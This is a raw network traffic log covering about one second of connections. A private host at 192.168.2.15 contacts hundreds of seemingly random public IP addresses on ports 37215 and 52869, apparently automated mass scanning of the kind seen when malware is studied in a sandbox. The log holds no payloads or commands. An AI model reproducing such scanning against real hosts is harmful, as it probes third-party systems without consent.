Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	197.140.115.187
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	197.210.73.76
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	205.121.31.87
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	41.174.190.33
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	53.208.221.28
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	197.205.160.99
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	41.210.197.36
Jul 20, 2024 23:10:36.869488955 CEST	58767	37215	192.168.2.15	41.8.250.84
Jul 20, 2024 23:10:36.869554043 CEST	52869	58771	19.36.203.102	192.168.2.15
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	88.181.217.81
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	53.70.46.99
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	72.242.155.8
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	93.170.144.216
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	142.16.122.21
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	157.23.176.72
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	77.47.99.211
Jul 20, 2024 23:10:36.869869947 CEST	58771	52869	192.168.2.15	41.113.149.169
Jul 20, 2024 23:10:36.869990110 CEST	52869	58771	102.37.157.117	192.168.2.15
Jul 20, 2024 23:10:36.870138884 CEST	52869	58771	59.69.107.133	192.168.2.15
Jul 20, 2024 23:10:36.870194912 CEST	52869	58771	130.11.242.199	192.168.2.15
Jul 20, 2024 23:10:36.870310068 CEST	52869	58771	217.23.247.9	192.168.2.15
Jul 20, 2024 23:10:36.870572090 CEST	52869	58771	32.12.50.206	192.168.2.15
Jul 20, 2024 23:10:36.870588064 CEST	52869	58771	131.187.169.42	192.168.2.15
Jul 20, 2024 23:10:36.870601892 CEST	52869	58771	187.65.46.56	192.168.2.15
Jul 20, 2024 23:10:36.870846987 CEST	52869	58771	211.60.75.202	192.168.2.15
Jul 20, 2024 23:10:36.870949984 CEST	52869	58771	1.40.110.47	192.168.2.15
Jul 20, 2024 23:10:36.870964050 CEST	52869	58771	221.122.176.63	192.168.2.15
Jul 20, 2024 23:10:36.870980978 CEST	52869	58771	139.79.196.6	192.168.2.15
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	208.51.21.157
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	78.179.212.100
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	152.13.92.201
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	216.2.205.222
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	161.2.50.168
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	52.159.195.37
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	97.82.156.244
Jul 20, 2024 23:10:36.870991945 CEST	58771	52869	192.168.2.15	5.43.101.82
Jul 20, 2024 23:10:36.870994091 CEST	52869	58771	175.212.141.240	192.168.2.15
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	60.74.91.179
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	139.224.224.65
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	216.0.101.197
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	138.209.221.234
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	181.235.148.127
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	19.232.15.13
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	150.88.132.167
Jul 20, 2024 23:10:36.871081114 CEST	58771	52869	192.168.2.15	78.56.177.55
Jul 20, 2024 23:10:36.871134996 CEST	58771	52869	192.168.2.15	173.35.30.145
Jul 20, 2024 23:10:36.871134996 CEST	58771	52869	192.168.2.15	166.175.32.105
Jul 20, 2024 23:10:36.871135950 CEST	58771	52869	192.168.2.15	98.127.197.109
Jul 20, 2024 23:10:36.871135950 CEST	58771	52869	192.168.2.15	41.170.242.143
Jul 20, 2024 23:10:36.871135950 CEST	58771	52869	192.168.2.15	207.103.75.38
Jul 20, 2024 23:10:36.871135950 CEST	58771	52869	192.168.2.15	73.129.169.112
Jul 20, 2024 23:10:36.871135950 CEST	58771	52869	192.168.2.15	69.177.157.27
Jul 20, 2024 23:10:36.871135950 CEST	58771	52869	192.168.2.15	174.206.80.43
Jul 20, 2024 23:10:36.871267080 CEST	52869	58771	175.124.114.154	192.168.2.15
Jul 20, 2024 23:10:36.871406078 CEST	52869	58771	194.107.252.122	192.168.2.15
Jul 20, 2024 23:10:36.871936083 CEST	52869	58771	113.120.204.84	192.168.2.15
Jul 20, 2024 23:10:36.871951103 CEST	52869	58771	38.72.163.191	192.168.2.15
Jul 20, 2024 23:10:36.872168064 CEST	52869	58771	157.155.237.53	192.168.2.15
Jul 20, 2024 23:10:36.872314930 CEST	58771	52869	192.168.2.15	200.129.46.238
Jul 20, 2024 23:10:36.872314930 CEST	58771	52869	192.168.2.15	132.163.44.118
Jul 20, 2024 23:10:36.872314930 CEST	58767	37215	192.168.2.15	41.109.80.153
Jul 20, 2024 23:10:36.872314930 CEST	58771	52869	192.168.2.15	27.244.201.90
Jul 20, 2024 23:10:36.872314930 CEST	58771	52869	192.168.2.15	104.19.118.205
Jul 20, 2024 23:10:36.872314930 CEST	58767	37215	192.168.2.15	41.101.180.53
Jul 20, 2024 23:10:36.872314930 CEST	58771	52869	192.168.2.15	138.166.76.37
Jul 20, 2024 23:10:36.872314930 CEST	58771	52869	192.168.2.15	97.54.168.37
Jul 20, 2024 23:10:36.872343063 CEST	52869	58771	93.101.56.143	192.168.2.15
Jul 20, 2024 23:10:36.872356892 CEST	52869	58771	123.204.179.189	192.168.2.15
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	41.225.135.170
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	144.85.64.233
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	133.236.123.161
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	157.61.187.214
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	116.138.138.226
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	117.238.162.201
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	41.158.40.220
Jul 20, 2024 23:10:36.872366905 CEST	58767	37215	192.168.2.15	41.230.50.79
Jul 20, 2024 23:10:36.872370958 CEST	52869	58771	90.139.225.56	192.168.2.15
Jul 20, 2024 23:10:36.872385979 CEST	52869	58771	124.95.98.128	192.168.2.15
Jul 20, 2024 23:10:36.872580051 CEST	52869	58771	60.192.182.110	192.168.2.15
Jul 20, 2024 23:10:36.872594118 CEST	52869	58771	133.162.115.106	192.168.2.15
Jul 20, 2024 23:10:36.872606993 CEST	52869	58771	194.93.32.92	192.168.2.15
Jul 20, 2024 23:10:36.872622013 CEST	52869	58771	142.179.121.102	192.168.2.15
Jul 20, 2024 23:10:36.872636080 CEST	52869	58771	216.72.91.26	192.168.2.15
Jul 20, 2024 23:10:36.872648954 CEST	52869	58771	177.126.187.180	192.168.2.15
Jul 20, 2024 23:10:36.872662067 CEST	52869	58771	91.234.176.82	192.168.2.15
Jul 20, 2024 23:10:36.873050928 CEST	52869	58771	190.75.241.237	192.168.2.15
Jul 20, 2024 23:10:36.873065948 CEST	52869	58771	32.246.234.49	192.168.2.15
Jul 20, 2024 23:10:36.873079062 CEST	52869	58771	149.112.97.85	192.168.2.15
Jul 20, 2024 23:10:36.873091936 CEST	52869	58771	135.91.76.232	192.168.2.15
Jul 20, 2024 23:10:36.873164892 CEST	52869	58771	84.245.35.223	192.168.2.15
Jul 20, 2024 23:10:36.873178959 CEST	52869	58771	71.157.109.184	192.168.2.15
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	124.48.234.132
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	170.25.182.117
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	142.3.150.194
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	148.39.228.238
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	217.168.82.95
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	60.168.140.86
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	199.35.247.193
Jul 20, 2024 23:10:36.873281956 CEST	58771	52869	192.168.2.15	66.186.192.147
Jul 20, 2024 23:10:36.873450041 CEST	58771	52869	192.168.2.15	182.10.238.127
Jul 20, 2024 23:10:36.873450041 CEST	58767	37215	192.168.2.15	78.250.115.189
Jul 20, 2024 23:10:36.873450041 CEST	58767	37215	192.168.2.15	197.251.233.95
Jul 20, 2024 23:10:36.873450041 CEST	58767	37215	192.168.2.15	41.157.245.144
Jul 20, 2024 23:10:36.873450041 CEST	58767	37215	192.168.2.15	197.233.147.184
Jul 20, 2024 23:10:36.873450041 CEST	58767	37215	192.168.2.15	197.219.149.250
Jul 20, 2024 23:10:36.873450041 CEST	58767	37215	192.168.2.15	111.61.149.252
Jul 20, 2024 23:10:36.873450994 CEST	58767	37215	192.168.2.15	197.55.78.55
Jul 20, 2024 23:10:36.873594999 CEST	52869	58771	175.207.230.53	192.168.2.15
Jul 20, 2024 23:10:36.873609066 CEST	52869	58771	159.17.35.193	192.168.2.15
Jul 20, 2024 23:10:36.873622894 CEST	52869	58771	164.240.158.148	192.168.2.15
Jul 20, 2024 23:10:36.873780966 CEST	52869	58771	157.239.81.157	192.168.2.15
Jul 20, 2024 23:10:36.873823881 CEST	58771	52869	192.168.2.15	23.204.31.138
Jul 20, 2024 23:10:36.873823881 CEST	58771	52869	192.168.2.15	85.214.14.82
Jul 20, 2024 23:10:36.873823881 CEST	58771	52869	192.168.2.15	117.75.223.157
Jul 20, 2024 23:10:36.873823881 CEST	58771	52869	192.168.2.15	177.120.184.17
Jul 20, 2024 23:10:36.873823881 CEST	58771	52869	192.168.2.15	24.9.36.113
Jul 20, 2024 23:10:36.873823881 CEST	58767	37215	192.168.2.15	197.30.229.13
Jul 20, 2024 23:10:36.873823881 CEST	58767	37215	192.168.2.15	157.248.175.173
Jul 20, 2024 23:10:36.873823881 CEST	58767	37215	192.168.2.15	197.164.89.253
Jul 20, 2024 23:10:36.873861074 CEST	52869	58771	181.93.177.170	192.168.2.15
Jul 20, 2024 23:10:36.874022007 CEST	52869	58771	46.98.240.227	192.168.2.15
Jul 20, 2024 23:10:36.874346972 CEST	52869	58771	34.125.193.200	192.168.2.15
Jul 20, 2024 23:10:36.874352932 CEST	58767	37215	192.168.2.15	41.151.166.61
Jul 20, 2024 23:10:36.874352932 CEST	58767	37215	192.168.2.15	49.223.157.49
Jul 20, 2024 23:10:36.874352932 CEST	58767	37215	192.168.2.15	41.180.153.162
Jul 20, 2024 23:10:36.874352932 CEST	58767	37215	192.168.2.15	197.40.81.92
Jul 20, 2024 23:10:36.874352932 CEST	58767	37215	192.168.2.15	148.185.232.135
Jul 20, 2024 23:10:36.874352932 CEST	58771	52869	192.168.2.15	134.116.6.133
Jul 20, 2024 23:10:36.874352932 CEST	58771	52869	192.168.2.15	189.107.255.223
Jul 20, 2024 23:10:36.874352932 CEST	58771	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:36.874361992 CEST	52869	58771	180.11.90.109	192.168.2.15
Jul 20, 2024 23:10:36.874376059 CEST	52869	58771	174.131.88.229	192.168.2.15
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	148.128.195.30
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	177.69.12.129
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	136.110.52.95
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	199.112.143.88
Jul 20, 2024 23:10:36.874617100 CEST	58767	37215	192.168.2.15	197.52.85.28
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	9.113.104.127
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	83.192.69.169
Jul 20, 2024 23:10:36.874617100 CEST	58771	52869	192.168.2.15	176.153.164.72
Jul 20, 2024 23:10:36.874754906 CEST	52869	58771	112.130.184.40	192.168.2.15
Jul 20, 2024 23:10:36.875075102 CEST	52869	58771	52.136.244.119	192.168.2.15
Jul 20, 2024 23:10:36.875088930 CEST	52869	58771	199.36.7.33	192.168.2.15
Jul 20, 2024 23:10:36.875103951 CEST	52869	58771	96.185.178.163	192.168.2.15
Jul 20, 2024 23:10:36.875117064 CEST	52869	58771	176.43.250.200	192.168.2.15
Jul 20, 2024 23:10:36.875412941 CEST	52869	58771	110.4.158.202	192.168.2.15
Jul 20, 2024 23:10:36.875438929 CEST	52869	58771	69.254.1.48	192.168.2.15
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	157.42.101.14
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	41.160.200.207
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	41.95.41.120
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	67.53.114.65
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	54.134.33.11
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	41.30.145.239
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	128.242.117.249
Jul 20, 2024 23:10:36.875531912 CEST	58767	37215	192.168.2.15	157.162.123.109
Jul 20, 2024 23:10:36.875633001 CEST	52869	58771	167.45.17.186	192.168.2.15
Jul 20, 2024 23:10:36.875648022 CEST	52869	58771	161.144.220.177	192.168.2.15
Jul 20, 2024 23:10:36.875662088 CEST	52869	58771	117.203.179.115	192.168.2.15
Jul 20, 2024 23:10:36.875674963 CEST	52869	58771	131.226.118.182	192.168.2.15
Jul 20, 2024 23:10:36.876189947 CEST	52869	58771	124.191.43.235	192.168.2.15
Jul 20, 2024 23:10:36.876204014 CEST	52869	58771	207.4.192.11	192.168.2.15
Jul 20, 2024 23:10:36.876331091 CEST	52869	58771	5.194.119.22	192.168.2.15
Jul 20, 2024 23:10:36.876374960 CEST	58767	37215	192.168.2.15	197.55.86.176
Jul 20, 2024 23:10:36.876374960 CEST	58767	37215	192.168.2.15	197.37.162.85
Jul 20, 2024 23:10:36.876374960 CEST	58767	37215	192.168.2.15	41.98.162.18
Jul 20, 2024 23:10:36.876374960 CEST	58767	37215	192.168.2.15	157.165.235.57
Jul 20, 2024 23:10:36.876374960 CEST	58767	37215	192.168.2.15	197.32.38.129
Jul 20, 2024 23:10:36.876374960 CEST	58767	37215	192.168.2.15	41.74.238.245
Jul 20, 2024 23:10:36.876375914 CEST	58767	37215	192.168.2.15	41.62.170.7
Jul 20, 2024 23:10:36.876375914 CEST	58767	37215	192.168.2.15	157.83.157.193
Jul 20, 2024 23:10:36.876452923 CEST	52869	58771	116.129.251.191	192.168.2.15
Jul 20, 2024 23:10:36.876751900 CEST	52869	58771	92.204.91.160	192.168.2.15
Jul 20, 2024 23:10:36.876766920 CEST	52869	58771	123.163.6.80	192.168.2.15
Jul 20, 2024 23:10:36.876780987 CEST	52869	58771	145.103.191.175	192.168.2.15
Jul 20, 2024 23:10:36.876813889 CEST	52869	58771	139.17.5.197	192.168.2.15
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	4.171.174.134
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	76.61.81.150
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	23.97.92.59
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	219.42.160.166
Jul 20, 2024 23:10:36.876823902 CEST	58771	52869	192.168.2.15	48.184.172.188
Jul 20, 2024 23:10:36.876827002 CEST	52869	58771	24.31.250.217	192.168.2.15
Jul 20, 2024 23:10:36.876841068 CEST	52869	58771	170.170.192.156	192.168.2.15
Jul 20, 2024 23:10:36.876853943 CEST	52869	58771	88.181.217.81	192.168.2.15
Jul 20, 2024 23:10:36.877001047 CEST	58767	37215	192.168.2.15	173.213.209.100
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	120.45.180.53
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	177.136.103.6
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	115.98.201.93
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	182.109.246.156
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	40.132.75.155
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	2.153.148.196
Jul 20, 2024 23:10:36.877001047 CEST	58771	52869	192.168.2.15	206.196.196.246
Jul 20, 2024 23:10:36.877239943 CEST	58771	52869	192.168.2.15	51.19.18.147
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	197.182.32.204
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	157.176.38.133
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	182.92.42.223
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	9.118.192.30
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	41.162.253.225
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	197.246.166.200
Jul 20, 2024 23:10:36.877239943 CEST	58767	37215	192.168.2.15	205.50.160.163
Jul 20, 2024 23:10:36.877259016 CEST	52869	58771	137.117.188.125	192.168.2.15
Jul 20, 2024 23:10:36.877273083 CEST	52869	58771	70.197.189.143	192.168.2.15
Jul 20, 2024 23:10:36.877299070 CEST	52869	58771	108.158.118.138	192.168.2.15
Jul 20, 2024 23:10:36.877312899 CEST	52869	58771	42.107.11.239	192.168.2.15
Jul 20, 2024 23:10:36.877326965 CEST	52869	58771	151.251.154.57	192.168.2.15
Jul 20, 2024 23:10:36.877340078 CEST	52869	58771	53.70.46.99	192.168.2.15
Jul 20, 2024 23:10:36.877353907 CEST	52869	58771	70.115.15.18	192.168.2.15
Jul 20, 2024 23:10:36.877367020 CEST	52869	58771	196.216.249.247	192.168.2.15
Jul 20, 2024 23:10:36.877398014 CEST	52869	58771	167.18.139.194	192.168.2.15
Jul 20, 2024 23:10:36.877412081 CEST	52869	58771	72.242.155.8	192.168.2.15
Jul 20, 2024 23:10:36.877424955 CEST	52869	58771	66.214.33.60	192.168.2.15
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	41.140.181.240
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	41.177.116.18
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	157.89.121.43
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	14.62.43.62
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	115.19.25.169
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	157.76.73.5
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	41.198.155.196
Jul 20, 2024 23:10:36.877434969 CEST	58767	37215	192.168.2.15	41.67.127.254
Jul 20, 2024 23:10:36.877439022 CEST	52869	58771	100.59.49.92	192.168.2.15
Jul 20, 2024 23:10:36.877453089 CEST	52869	58771	66.9.166.48	192.168.2.15
Jul 20, 2024 23:10:36.877465963 CEST	52869	58771	213.94.234.50	192.168.2.15
Jul 20, 2024 23:10:36.877479076 CEST	52869	58771	208.51.21.157	192.168.2.15
Jul 20, 2024 23:10:36.877492905 CEST	52869	58771	60.74.91.179	192.168.2.15
Jul 20, 2024 23:10:36.877506018 CEST	52869	58771	78.179.212.100	192.168.2.15
Jul 20, 2024 23:10:36.877518892 CEST	52869	58771	93.170.144.216	192.168.2.15
Jul 20, 2024 23:10:36.877532005 CEST	52869	58771	173.35.30.145	192.168.2.15
Jul 20, 2024 23:10:36.877545118 CEST	52869	58771	152.13.92.201	192.168.2.15
Jul 20, 2024 23:10:36.877558947 CEST	52869	58771	139.224.224.65	192.168.2.15
Jul 20, 2024 23:10:36.877571106 CEST	52869	58771	142.16.122.21	192.168.2.15
Jul 20, 2024 23:10:36.877584934 CEST	52869	58771	157.23.176.72	192.168.2.15
Jul 20, 2024 23:10:36.877599001 CEST	52869	58771	166.175.32.105	192.168.2.15
Jul 20, 2024 23:10:36.877612114 CEST	52869	58771	216.0.101.197	192.168.2.15
Jul 20, 2024 23:10:36.877624989 CEST	52869	58771	77.47.99.211	192.168.2.15
Jul 20, 2024 23:10:36.877639055 CEST	52869	58771	138.209.221.234	192.168.2.15
Jul 20, 2024 23:10:36.877652884 CEST	52869	58771	216.2.205.222	192.168.2.15
Jul 20, 2024 23:10:36.877665043 CEST	52869	58771	98.127.197.109	192.168.2.15
Jul 20, 2024 23:10:36.877690077 CEST	52869	58771	41.113.149.169	192.168.2.15
Jul 20, 2024 23:10:36.877703905 CEST	52869	58771	200.129.46.238	192.168.2.15
Jul 20, 2024 23:10:36.877717972 CEST	52869	58771	41.170.242.143	192.168.2.15
Jul 20, 2024 23:10:36.877731085 CEST	52869	58771	132.163.44.118	192.168.2.15
Jul 20, 2024 23:10:36.877744913 CEST	52869	58771	161.2.50.168	192.168.2.15
Jul 20, 2024 23:10:36.877758026 CEST	52869	58771	181.235.148.127	192.168.2.15
Jul 20, 2024 23:10:36.877774000 CEST	52869	58771	207.103.75.38	192.168.2.15
Jul 20, 2024 23:10:36.877799034 CEST	52869	58771	19.232.15.13	192.168.2.15
Jul 20, 2024 23:10:36.877815008 CEST	58767	37215	192.168.2.15	197.224.162.113
Jul 20, 2024 23:10:36.877815008 CEST	58767	37215	192.168.2.15	157.231.228.120
Jul 20, 2024 23:10:36.877815008 CEST	58767	37215	192.168.2.15	157.88.156.88
Jul 20, 2024 23:10:36.877815008 CEST	58767	37215	192.168.2.15	41.21.7.132
Jul 20, 2024 23:10:36.877815008 CEST	58767	37215	192.168.2.15	41.200.3.16
Jul 20, 2024 23:10:36.877815008 CEST	58767	37215	192.168.2.15	157.106.18.30
Jul 20, 2024 23:10:36.877815962 CEST	58767	37215	192.168.2.15	157.182.237.139
Jul 20, 2024 23:10:36.877815962 CEST	58767	37215	192.168.2.15	172.191.63.12
Jul 20, 2024 23:10:36.878066063 CEST	52869	58771	73.129.169.112	192.168.2.15
Jul 20, 2024 23:10:36.878079891 CEST	52869	58771	150.88.132.167	192.168.2.15
Jul 20, 2024 23:10:36.878154039 CEST	52869	58771	78.56.177.55	192.168.2.15
Jul 20, 2024 23:10:36.878267050 CEST	52869	58771	69.177.157.27	192.168.2.15
Jul 20, 2024 23:10:36.878281116 CEST	52869	58771	27.244.201.90	192.168.2.15
Jul 20, 2024 23:10:36.878309965 CEST	52869	58771	174.206.80.43	192.168.2.15
Jul 20, 2024 23:10:36.878324032 CEST	52869	58771	52.159.195.37	192.168.2.15
Jul 20, 2024 23:10:36.878397942 CEST	52869	58771	104.19.118.205	192.168.2.15
Jul 20, 2024 23:10:36.878432035 CEST	52869	58771	97.82.156.244	192.168.2.15
Jul 20, 2024 23:10:36.878520012 CEST	52869	58771	124.48.234.132	192.168.2.15
Jul 20, 2024 23:10:36.878534079 CEST	52869	58771	182.10.238.127	192.168.2.15
Jul 20, 2024 23:10:36.878652096 CEST	52869	58771	5.43.101.82	192.168.2.15
Jul 20, 2024 23:10:36.878784895 CEST	52869	58771	170.25.182.117	192.168.2.15
Jul 20, 2024 23:10:36.878853083 CEST	58771	52869	192.168.2.15	124.57.216.2
Jul 20, 2024 23:10:36.878853083 CEST	58771	52869	192.168.2.15	147.233.164.121
Jul 20, 2024 23:10:36.878853083 CEST	58771	52869	192.168.2.15	124.125.61.227
Jul 20, 2024 23:10:36.878853083 CEST	58771	52869	192.168.2.15	176.103.253.245
Jul 20, 2024 23:10:36.878853083 CEST	58771	52869	192.168.2.15	160.202.230.200
Jul 20, 2024 23:10:36.878854036 CEST	58771	52869	192.168.2.15	170.238.170.23
Jul 20, 2024 23:10:36.878854036 CEST	58771	52869	192.168.2.15	48.94.71.71
Jul 20, 2024 23:10:36.878854036 CEST	58771	52869	192.168.2.15	23.41.98.94
Jul 20, 2024 23:10:36.878873110 CEST	52869	58771	23.204.31.138	192.168.2.15
Jul 20, 2024 23:10:36.879179955 CEST	52869	58771	138.166.76.37	192.168.2.15
Jul 20, 2024 23:10:36.879194021 CEST	52869	58771	85.214.14.82	192.168.2.15
Jul 20, 2024 23:10:36.879221916 CEST	58767	37215	192.168.2.15	197.162.71.183
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	197.199.57.112
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	41.246.170.171
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	41.63.90.165
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	69.184.161.116
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	157.50.118.84
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	157.86.230.135
Jul 20, 2024 23:10:36.879223108 CEST	58767	37215	192.168.2.15	41.160.166.27
Jul 20, 2024 23:10:36.879368067 CEST	52869	58771	142.3.150.194	192.168.2.15
Jul 20, 2024 23:10:36.879383087 CEST	52869	58771	117.75.223.157	192.168.2.15
Jul 20, 2024 23:10:36.879415989 CEST	52869	58771	97.54.168.37	192.168.2.15
Jul 20, 2024 23:10:36.879607916 CEST	52869	58771	148.128.195.30	192.168.2.15
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	125.21.239.121
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	71.236.229.89
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	204.214.217.245
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	183.35.212.37
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	166.215.171.59
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	88.50.82.139
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	170.125.233.158
Jul 20, 2024 23:10:36.879630089 CEST	58771	52869	192.168.2.15	204.224.168.136
Jul 20, 2024 23:10:36.879700899 CEST	52869	58771	148.39.228.238	192.168.2.15
Jul 20, 2024 23:10:36.879806042 CEST	52869	58771	177.69.12.129	192.168.2.15
Jul 20, 2024 23:10:36.879904032 CEST	52869	58771	177.120.184.17	192.168.2.15
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	80.66.53.41
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	166.167.121.109
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	34.189.32.48
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	104.26.73.87
Jul 20, 2024 23:10:36.879920006 CEST	58771	52869	192.168.2.15	76.130.133.120
Jul 20, 2024 23:10:36.879936934 CEST	52869	58771	24.9.36.113	192.168.2.15
Jul 20, 2024 23:10:36.880080938 CEST	58767	37215	192.168.2.15	39.147.126.15
Jul 20, 2024 23:10:36.880080938 CEST	58767	37215	192.168.2.15	197.187.16.96
Jul 20, 2024 23:10:36.880081892 CEST	58767	37215	192.168.2.15	41.112.222.122
Jul 20, 2024 23:10:36.880081892 CEST	58767	37215	192.168.2.15	41.107.147.117
Jul 20, 2024 23:10:36.880081892 CEST	58771	52869	192.168.2.15	222.31.20.54
Jul 20, 2024 23:10:36.880081892 CEST	58771	52869	192.168.2.15	137.22.60.132
Jul 20, 2024 23:10:36.880081892 CEST	58771	52869	192.168.2.15	169.202.203.38
Jul 20, 2024 23:10:36.880081892 CEST	58771	52869	192.168.2.15	42.168.198.14
Jul 20, 2024 23:10:36.880263090 CEST	52869	58771	136.110.52.95	192.168.2.15
Jul 20, 2024 23:10:36.880286932 CEST	52869	58771	199.112.143.88	192.168.2.15
Jul 20, 2024 23:10:36.880301952 CEST	52869	58771	217.168.82.95	192.168.2.15
Jul 20, 2024 23:10:36.880599976 CEST	52869	58771	60.168.140.86	192.168.2.15
Jul 20, 2024 23:10:36.881423950 CEST	52869	58771	199.35.247.193	192.168.2.15
Jul 20, 2024 23:10:36.881525993 CEST	58771	52869	192.168.2.15	73.97.3.73
Jul 20, 2024 23:10:36.881525993 CEST	58771	52869	192.168.2.15	88.222.107.85
Jul 20, 2024 23:10:36.881525993 CEST	58771	52869	192.168.2.15	148.163.112.201
